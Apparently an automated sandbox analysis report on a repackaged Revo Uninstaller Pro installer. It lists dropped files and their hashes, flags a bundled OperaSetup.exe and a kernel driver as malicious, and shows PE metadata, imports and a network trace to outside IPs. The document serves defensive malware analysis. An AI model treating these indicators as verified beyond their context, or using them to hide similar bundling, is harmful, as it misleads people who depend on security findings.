Preview:	L..................F.... ...`s\|.ZJ....~.ZJ....~.ZJ...............................P.O. .:i.....+00.../C:\.....................1......Y....PROGRA~1..t......O.I.Y......B...............J.....\d..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....d.1......Y....VSREVO~1..L......Y...Y............................\d..V.S. .R.e.v.o. .G.r.o.u.p.....r.1......Y....REVOUN~1..Z......Y...Y......3.........................R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....h.2......Y.. .UNINST~1.EXE..L......Y...Y......I.....................J...U.n.i.n.s.t.a.l.l...e.x.e.......p...............-.......o....................C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Uninstall.exe..Y.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.V.S. .R.e.v.o. .G.r.o.u.p.\.R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.\.U.n.i.n.s.t.a.l.l...e.x.e.3.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.V.S. .R.e.v.o. .G.r.o.u.p.\.R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.`.......X.......92753

C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Crash Reports\settings.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe
File Type:	data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	3.3454618442383204
Encrypted:	false
SSDEEP:	3:FkWXlAx1H:9ATH
MD5:	F1EB47FC602AD555F893959A83D17A2D
SHA1:	568D28B6EC8244685138AB2425DC411F00C21DDD
SHA-256:	CE6803614EE9B4E37F45474788752C9AE0C0D5FDD42A821A4C1F4D38ADF462C6
SHA-512:	517367311167AFBCDFF9C90D2AACEEB24CEFA1797651C58251624504BD5E2274A800CD11A8D4030BF118A5EAE42659ABCA87B6817065B8894B202341A5F906BF
Malicious:	false
Preview:	sdPC......................6....A....W."

C:\Users\user\Desktop\Revo Uninstaller Pro.lnk

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Mon Dec 2 03:58:00 2024, mtime=Mon Dec 9 15:52:57 2024, atime=Mon Dec 2 03:58:00 2024, length=25576112, window=hide
Category:	dropped
Size (bytes):	1122
Entropy (8bit):	4.521323255097946
Encrypted:	false
SSDEEP:	24:8mK/dJNXolNVhAf2Krado3qAWdo3oww3Bm:8mudJFolPyf2qado3qdo3xwx
MD5:	154CEE59B2BF7C7A0E84F90CC3A9B3A8
SHA1:	751CD73551B6266E3A67C06B182E485760B84ED1
SHA-256:	6B1181FC888E544F0804B5B1CE2BDEC176B5D66D54F05F238B69D733C1ED6CDC
SHA-512:	0D2E2BEC97C9F6365817BA74A8A5B97FB788294400AA371867AC4B8C03FCE3E7531D3260DAB76FE34B76E8F9E6CB0702E51CE02D14F36C37FE4AB706973196E9
Malicious:	false
Preview:	L..................F.... ....<..vD...)\|.ZJ...<..vD...B...........................P.O. .:i.....+00.../C:\.....................1......Y....PROGRA~1..t......O.I.Y......B...............J.....\d..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....d.1......Y....VSREVO~1..L......Y...Y............................\d..V.S. .R.e.v.o. .G.r.o.u.p.....r.1......Y....REVOUN~1..Z......Y...Y......3.........................R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....l.2..B...Y@' .REVOUN~2.EXE..P......Y@'.Y................................R.e.v.o.U.n.i.n.P.r.o...e.x.e.......r...............-.......q....................C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe..I.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.V.S. .R.e.v.o. .G.r.o.u.p.\.R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.\.R.e.v.o.U.n.i.n.P.r.o...e.x.e.3.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.V.S. .R.e.v.o. .G.r.o.u.p.\.R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.`.......X.......927537...........hT..CrF.f4...

C:\Users\user\Downloads\OperaSetup.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2227280
Entropy (8bit):	7.916292558024388
Encrypted:	false
SSDEEP:	49152:mVAbw0dQH5x+E1Q9AA06OT9S7+rICzXNagRt532Z8JtS:iAJdi3+ZN06+Nzdn5w8i
MD5:	5A1105F1C25A60B128D45EC03041BF48
SHA1:	DCCC4587FB20170B8014DEB61A7C371FAC15ED01
SHA-256:	C2A58EFE4CDD4CD48A9C2F77CBA4BC0898F0A5953F6065C2D270A8A1DC7A8FCD
SHA-512:	9058164DCD3B802268DC8D5EC916A53976CF17CF6A4D4F5BE9626B91DDAED7AE159E009E90E0FBF0D1E16CD4C00C4D9268FF67D2F5D43037002D91E4C4017D48
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......N....m...m...m..A....m..A....m...._m.....m.....m..A....m..A....m...m...m....\m....X..m...m0..m.....m..Rich.m..........PE..L.....if...............'..........................@..................................5"...@.................................H...d.......p.............!..+.......1...C...............................C..@...............0............................text............................... ..`.rdata..z...........................@..@.data....K..........................@....rsrc...p...........................@..@.reloc...1.......2..................@..B........................................................................................................................................................................................................................................................................................................

C:\Windows\System32\drivers\SETB88F.tmp

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	6.303083119559888
Encrypted:	false
SSDEEP:	768:A1uOPkxgu01UuLjQL1nHSSdW7W0fz1Qp33u43gf:AQqk7HL1nO/Qtrgf
MD5:	EC8E58E6B58B4FCDE77431CDA3A24C0E
SHA1:	EBB474009B2A2FBCE648ADFF4B8B797FCD00C997
SHA-256:	25667717BF4691957F07A6363585E2C7EAF22E5FD7229BF32C91EA59EF4A2EDD
SHA-512:	E2C667EBE97973FF27C1EDF3E45EBF7950BC8D7AAD1126DA25290A2F590B21808654694CBE6A0AD1D3649566EC7645EB6B3379C7D7C0A650D5381A69E9CDADE4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................p....k...........................................Rich....................PE..d...:.._.........."......T...2.................@....................................o^....`A...................................................P....................r...$......D...hR..8............................R...............P...............................text....:.......<.................. ..h.rdata..l....P.......@..............@..H.data........`.......L..............@....pdata...............N..............@..HPAGE....G............R.............. ..`INIT.................\.............. ..bINIT....@............j..............@....rsrc................l..............@..B.reloc..D............p..............@..B........................................................................................................................................

C:\Windows\system32\DRIVERS\revoflt.sys (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	6.303083119559888
Encrypted:	false
SSDEEP:	768:A1uOPkxgu01UuLjQL1nHSSdW7W0fz1Qp33u43gf:AQqk7HL1nO/Qtrgf
MD5:	EC8E58E6B58B4FCDE77431CDA3A24C0E
SHA1:	EBB474009B2A2FBCE648ADFF4B8B797FCD00C997
SHA-256:	25667717BF4691957F07A6363585E2C7EAF22E5FD7229BF32C91EA59EF4A2EDD
SHA-512:	E2C667EBE97973FF27C1EDF3E45EBF7950BC8D7AAD1126DA25290A2F590B21808654694CBE6A0AD1D3649566EC7645EB6B3379C7D7C0A650D5381A69E9CDADE4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................p....k...........................................Rich....................PE..d...:.._.........."......T...2.................@....................................o^....`A...................................................P....................r...$......D...hR..8............................R...............P...............................text....:.......<.................. ..h.rdata..l....P.......@..............@..H.data........`.......L..............@....pdata...............N..............@..HPAGE....G............R.............. ..`INIT.................\.............. ..bINIT....@............j..............@....rsrc................l..............@..B.reloc..D............p..............@..B........................................................................................................................................

\Device\Mailslot\opera_installer\C:\Users\user\AppData\Local\Programs\Opera

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe
File Type:	data
Category:	dropped
Size (bytes):	32
Entropy (8bit):	3.4772170014624826
Encrypted:	false
SSDEEP:	3:alXtRBXFIvCOt:aldTXFcz
MD5:	B8F4AE17649F67195291A85DE16B561D
SHA1:	1800356941EAFADF247EA9932A02FFEC6C4E4B4C
SHA-256:	0FD98AA12C34794DABD32375F4B14B207D4840359AB571D278D2ED490BDDE75A
SHA-512:	F640756A1233CC9596AA273C2A4A0296D7F87788486956F8319C4521F27957201DCBA805A7D994B3EAA12249645D5A4B28134C91FE3A4062891612115A941DAC
Malicious:	false
Preview:	........:Installer message:.....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.999566849269054
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Revo.Uninstaller.Pro.v5.3.4.exe
File size:	22'221'229 bytes
MD5:	881464f03502d44e29e5fea8b4c35538
SHA1:	8d2337cd5d72f43415e1d8ffb352a85d3374dd1c
SHA256:	2a789deb64dd90261f2833d4da0d9f617f2a37ce49ecfa085f5dd43725795a1f
SHA512:	11db58ebb0f053721c2f4125fa60503a860df5aca55db942608aa42266d07904f5d0f595e34d746370bc9391014b34813c24fb2b2d904c12b1840d97fd4c6479
SSDEEP:	393216:ErPY1+m1GCcgxv4sV3krTPLt3kkNmE3SgH4J2Nd7R4mPJi5nwMEFAEcd7TJPYItE:ErGcgxwsVATPL9nm4H4kNgkFKnHQrrR
TLSH:	A527335E911031E4EB528BF0FBB6DE6452EF2022C6F07D5F2C55779ED48049AAEA4C0B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1 ..PN..PN..PN._...PN..PO.JPN._...PN..s~..PN..VH..PN.Rich.PN.........................PE..L..."D.f.................h...J...@.

File Icon


Icon Hash:	492da5c5a55ad676

Static PE Info

General

Entrypoint:	0x403665
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66084422 [Sat Mar 30 16:56:02 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	9dda1a1d1f8a1d13ae0297b47046b26e

Entrypoint Preview

Instruction
sub esp, 000003F8h
push ebp
push esi
push edi
push 00000020h
pop edi
xor ebp, ebp
push 00008001h
mov dword ptr [esp+20h], ebp
mov dword ptr [esp+18h], 0040A230h
mov dword ptr [esp+14h], ebp
call dword ptr [004080A0h]
mov esi, dword ptr [004080A4h]
lea eax, dword ptr [esp+34h]
push eax
mov dword ptr [esp+4Ch], ebp
mov dword ptr [esp+0000014Ch], ebp
mov dword ptr [esp+00000150h], ebp
mov dword ptr [esp+38h], 0000011Ch
call esi
test eax, eax
jne 00007FADA8ACA31Ah
lea eax, dword ptr [esp+34h]
mov dword ptr [esp+34h], 00000114h
push eax
call esi
mov ax, word ptr [esp+48h]
mov ecx, dword ptr [esp+62h]
sub ax, 00000053h
add ecx, FFFFFFD0h
neg ax
sbb eax, eax
mov byte ptr [esp+0000014Eh], 00000004h
not eax
and eax, ecx
mov word ptr [esp+00000148h], ax
cmp dword ptr [esp+38h], 0Ah
jnc 00007FADA8ACA2E8h
and word ptr [esp+42h], 0000h
mov eax, dword ptr [esp+40h]
movzx ecx, byte ptr [esp+3Ch]
mov dword ptr [0046C318h], eax
xor eax, eax
mov ah, byte ptr [esp+38h]
movzx eax, ax
or eax, ecx
xor ecx, ecx
mov ch, byte ptr [esp+00000148h]
movzx ecx, cx
shl eax, 10h
or eax, ecx
movzx ecx, byte ptr [esp+0000004Eh]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x84fc	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x179000	0x1a3c8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2a8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x66d7	0x6800	179c19d526cb45e37f19e2e748c03470	False	0.6618088942307693	data	6.443211282113973	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1358	0x1400	bd82d08a08da8783923a22b467699302	False	0.4431640625	data	5.103358601944578	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x62378	0x600	11e66ee9873a378c86020f9b7ffc48f2	False	0.509765625	data	4.120231668410469	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x6d000	0x10c000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x179000	0x1a3c8	0x1a400	f5b854e8e43a68f60abf87a5e757a321	False	0.690141369047619	data	6.5935216467364866	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x1794a8	0xcd42	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9968789251322651
RT_ICON	0x1861f0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.3778932451582428
RT_ICON	0x18a418	0x3228	Device independent bitmap graphic, 64 x 128 x 24, image size 12800	English	United States	0.3514797507788162
RT_ICON	0x18d640	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.4713692946058091
RT_ICON	0x18fbe8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.5079737335834896
RT_ICON	0x190c90	0xca8	Device independent bitmap graphic, 32 x 64 x 24, image size 3200	English	United States	0.4762345679012346
RT_ICON	0x191938	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6693262411347518
RT_ICON	0x191da0	0x2e8	data	English	United States	0.020161290322580645
RT_ICON	0x192088	0x128	data	English	United States	0.04391891891891892
RT_DIALOG	0x1921b0	0x114	data	English	United States	0.5072463768115942
RT_DIALOG	0x1922c8	0x1f4	data	English	United States	0.388
RT_DIALOG	0x1924c0	0xec	data	English	United States	0.6228813559322034
RT_DIALOG	0x1925b0	0x94	data	English	United States	0.5945945945945946
RT_DIALOG	0x192648	0xe2	data	English	United States	0.6371681415929203
RT_DIALOG	0x192730	0x114	data	English	United States	0.5362318840579711
RT_DIALOG	0x192848	0x1f4	data	English	United States	0.398
RT_DIALOG	0x192a40	0xec	data	English	United States	0.6567796610169492
RT_DIALOG	0x192b30	0x94	data	English	United States	0.668918918918919
RT_DIALOG	0x192bc8	0xe2	data	English	United States	0.668141592920354
RT_GROUP_ICON	0x192cb0	0x84	data	English	United States	0.6212121212121212
RT_VERSION	0x192d38	0x260	data	English	United States	0.4819078947368421
RT_MANIFEST	0x192f98	0x42e	XML 1.0 document, ASCII text, with very long lines (1070), with no line terminators	English	United States	0.5130841121495328

Imports

DLL	Import
ADVAPI32.dll	RegEnumValueW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, RegOpenKeyExW, RegCreateKeyExW
SHELL32.dll	SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW, ShellExecuteExW
ole32.dll	CoCreateInstance, OleUninitialize, OleInitialize, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Destroy, ImageList_AddMasked, ImageList_Create
USER32.dll	MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, CreatePopupMenu, AppendMenuW, TrackPopupMenu, OpenClipboard, EmptyClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, IsWindowEnabled, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CharPrevW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, CharNextA, wsprintfA, DispatchMessageW, CreateWindowExW, PeekMessageW, GetSystemMetrics
GDI32.dll	GetDeviceCaps, SetBkColor, SelectObject, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor
KERNEL32.dll	RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, SetEnvironmentVariableW, WriteFile, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, CreateFileW, GetTickCount, Sleep, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, MulDiv, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, CopyFileW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 9, 2024 17:53:09.956913948 CET	49736	443	192.168.2.4	104.20.3.235
Dec 9, 2024 17:53:09.956959963 CET	443	49736	104.20.3.235	192.168.2.4
Dec 9, 2024 17:53:09.957030058 CET	49736	443	192.168.2.4	104.20.3.235
Dec 9, 2024 17:53:09.975562096 CET	49736	443	192.168.2.4	104.20.3.235
Dec 9, 2024 17:53:09.975583076 CET	443	49736	104.20.3.235	192.168.2.4
Dec 9, 2024 17:53:11.193116903 CET	443	49736	104.20.3.235	192.168.2.4
Dec 9, 2024 17:53:11.193279028 CET	49736	443	192.168.2.4	104.20.3.235
Dec 9, 2024 17:53:11.620898008 CET	49736	443	192.168.2.4	104.20.3.235
Dec 9, 2024 17:53:11.620927095 CET	443	49736	104.20.3.235	192.168.2.4
Dec 9, 2024 17:53:11.621328115 CET	443	49736	104.20.3.235	192.168.2.4
Dec 9, 2024 17:53:11.621474028 CET	49736	443	192.168.2.4	104.20.3.235
Dec 9, 2024 17:53:11.639358044 CET	49736	443	192.168.2.4	104.20.3.235
Dec 9, 2024 17:53:11.687340021 CET	443	49736	104.20.3.235	192.168.2.4
Dec 9, 2024 17:53:11.986078024 CET	443	49736	104.20.3.235	192.168.2.4
Dec 9, 2024 17:53:11.986181974 CET	49736	443	192.168.2.4	104.20.3.235
Dec 9, 2024 17:53:11.986182928 CET	443	49736	104.20.3.235	192.168.2.4
Dec 9, 2024 17:53:11.986608028 CET	49736	443	192.168.2.4	104.20.3.235
Dec 9, 2024 17:53:11.992821932 CET	49736	443	192.168.2.4	104.20.3.235
Dec 9, 2024 17:53:11.992849112 CET	443	49736	104.20.3.235	192.168.2.4
Dec 9, 2024 17:53:12.212552071 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:12.212594032 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:12.212697029 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:12.212973118 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:12.212985039 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:13.623924017 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:13.624061108 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:13.629547119 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:13.629565954 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:13.629841089 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:13.630105972 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:13.630398035 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:13.671354055 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.264365911 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.264400959 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.264415979 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.265567064 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.265593052 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.269573927 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.376391888 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.376420021 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.376521111 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.376544952 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.376586914 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.420213938 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.420243979 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.420340061 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.420357943 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.420399904 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.542869091 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.542900085 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.543045998 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.543064117 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.543106079 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.571489096 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.571508884 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.571563005 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.571578979 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.571626902 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.592959881 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.592978954 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.593036890 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.593051910 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.593085051 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.646802902 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.646833897 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.646905899 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.646918058 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.646940947 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.646960974 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.725856066 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.725893974 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.725940943 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.725960016 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.726003885 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.726128101 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.741506100 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.741518021 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.741569042 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.741581917 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.741599083 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.741616964 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.756529093 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.756540060 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.756587029 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.756598949 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.756623983 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.756653070 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.771627903 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.771661043 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.771694899 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.771707058 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.771738052 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.771749020 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.782049894 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.782110929 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.782135010 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.782150984 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.782201052 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.782231092 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.793998957 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.794032097 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.794081926 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.794094086 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.794127941 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.794133902 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.906872988 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.906903982 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.906939983 CET	49737	443	192.168.2.4	194.87.189.43
